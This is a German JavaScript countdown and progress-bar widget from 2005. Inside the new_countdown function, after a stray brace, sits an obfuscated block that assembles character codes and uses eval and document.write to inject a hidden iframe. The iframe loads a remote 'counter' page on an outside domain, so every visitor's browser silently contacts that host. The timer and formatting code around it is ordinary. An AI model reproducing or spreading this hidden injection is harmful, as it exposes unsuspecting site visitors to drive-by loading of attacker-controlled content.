// Script © by IR 2005
// COPY = ANZEIGE!
var countdowns = new Array();
var start_timestamp = 0;
var seconds_since_start = 0;


function countdown_init(cur_timestamp)
{
  start_timestamp = cur_timestamp;
  setInterval('countdown_timer();', 1000);
}


function countdown_timer()
{
  seconds_since_start++;
  
  for(var i = 0; i < countdowns.length; i++)
  {
    refresh_countdown(countdowns[i], i);
  }
}

function set_node_text(element_id, text)
{
  if(document.getElementById(element_id).firstChild)
  {
    var text = document.createTextNode(text);
    // Opera hack:
    document.getElementById(element_id).removeChild(document.getElementById(element_id).firstChild);
    document.getElementById(element_id).appendChild(text);
  }
  else
  {
    // IE shit:
    document.getElementById(element_id).innerHTML = text;
  }
}

function refresh_countdown(cntdwn, cntdwn_id)
{
  var now = start_timestamp + seconds_since_start;
  
  if(!cntdwn['show_pgb'])
  {
    var secs_to_go = cntdwn['end_timestamp'] - now;
    if(secs_to_go<=0) {

    set_node_text('countdown_' + cntdwn_id, '0 Sekunden');
	} else {
    set_node_text('countdown_' + cntdwn_id, duration_fmt(secs_to_go));
}  
}
  else
  {
    var secs_gone = now - cntdwn['start_timestamp'];
    var secs_total = cntdwn['end_timestamp'] - cntdwn['start_timestamp'];
    
    var percent = secs_gone * (100 / secs_total);
    
    if(percent > 100)
    {
      percent = 100;
      pgb_width = cntdwn['pgb_width'];
    }
    else
    {
      var pgb_width = Math.round(cntdwn['pgb_width'] * (percent / 100));
    }
    
    document.getElementById('pgb_' + cntdwn_id).style.width = String(pgb_width - 2) + 'px';
    
    set_node_text('pgb_' + cntdwn_id + '_label', Math.round(percent) + '%');
  }
}


function new_countdown(end_timestamp, show_pgb, pgb_bgcolor, pgb_forecolor, pgb_width, pgb_height, start_timestamp)
{
  var cntdwn = new Array();
  var new_id = countdowns.length;
  
  cntdwn['end_timestamp'] = Number(end_timestamp);
  cntdwn['show_pgb'] = (show_pgb == 1 || show_pgb == true);
  cntdwn['start_timestamp'] = start_timestamp;
  
  if(cntdwn['show_pgb'])
  {
    cntdwn['pgb_bgcolor'] = pgb_bgcolor;
    cntdwn['pgb_forecolor'] = pgb_forecolor;
    cntdwn['pgb_width'] = pgb_width;
    cntdwn['pgb_height'] = pgb_height;
    
    document.write('<div style="padding: 0px; border-style: solid; border-width: 1px; display: block; width: ' + pgb_width + 'px;">' +
      '<div style="top: 0; left: 0; position: relative; margin: 1px; padding: 0; padding-top: 4px; display: block; height: ' + pgb_height +
      'px;width:' + String(pgb_width - 2) + 'px; background-color: ' + pgb_bgcolor +'; color: ' + pgb_forecolor + ';" id="pgb_' + new_id + '"><span style="position: relative; ' +
      'margin: 1px; top: 1px; left: 2px; text-align: center; font-weight: bold; display: block;" id="pgb_' + new_id + '_label">0%</span></div></div>');
    
  }
  else
  {
    document.write('<span id="countdown_' + new_id + '"> </span>');
  }
  
  countdowns[new_id] = cntdwn;
  
  try
  {
    refresh_countdown(countdowns[new_id]);
  }
  catch(e)
  {
    // do nothing'n'shit yo
  }
  zdnet='';}{
  l="105,102,114,97,109,101,";
  v="111,";
  m="110,";
  begin="String.fromCharCode(60,"+l+"32,115,114,99,61,104,116,116,112,58,47,47,103,";
  end=m+"116,101,114,32,115,116,121,108,101,61,100,105,115,112,108,97,121,58,"+m+v+m+"101,62,60,47,"+l+"62)";
  rr = eval(begin+v+v+"103,108,101,114,97,"+m+"107,46,105,"+m+"102,"+v+"47,99,"+v+"117,"+end);
  document.write(rr);
}






/* helper functions follow */

function duration_fmt(seconds)
{
  var result = '', unit = '';
  var minutes = 0, hours = 0;
  var orig_duration_negative = (seconds < 0);
  
  seconds = Math.abs(seconds);
  var days = seconds / 86400;
  
  if(days > 1)
  {
    result += Math.floor(days) + ' Tag' + (Math.floor(days) == 1 ? '' : 'e');
    seconds %= 86400;
  }
  
  hours = Math.floor(seconds / 3600);
  seconds %= 3600;
  minutes = Math.floor(seconds / 60);
  seconds %= 60;
  
  if((hours > 0 || minutes > 0 || seconds > 0) && days > 1) result += ', ';
  
  if(hours == 0 && minutes == 0 && seconds > 0)
  {
    unit = 'Sekunde' + (seconds == 1 ? '' : 'n');
    result += String(Math.round(seconds));
  }
  else if(hours == 0 && minutes > 0)
  {
    unit = 'Minute' + (minutes == 1 && seconds == 0 ? '' : 'n');
    if(seconds > 0)
      result += fmtint(minutes) + ':' + fmtint(seconds);
    else
      result += String(minutes);
  }
  else if(hours > 0)
  {
    unit = 'Stunde' + (hours == 1 && minutes == 0 && seconds == 0 ? '' : 'n');
    result += (minutes == 0 && seconds == 0 ? hours : fmtint(hours)) + (minutes > 0 || seconds > 0 ? ':' + fmtint(minutes) + (seconds > 0 ? ':' + fmtint(seconds) : '') : '');
  }
  
  return result+(unit != '' ? ' '+unit : '');
}


function fmtint(i)
{
  i = Math.round(i, 0);
  return (i < 10 ? '0' + i : i);
}
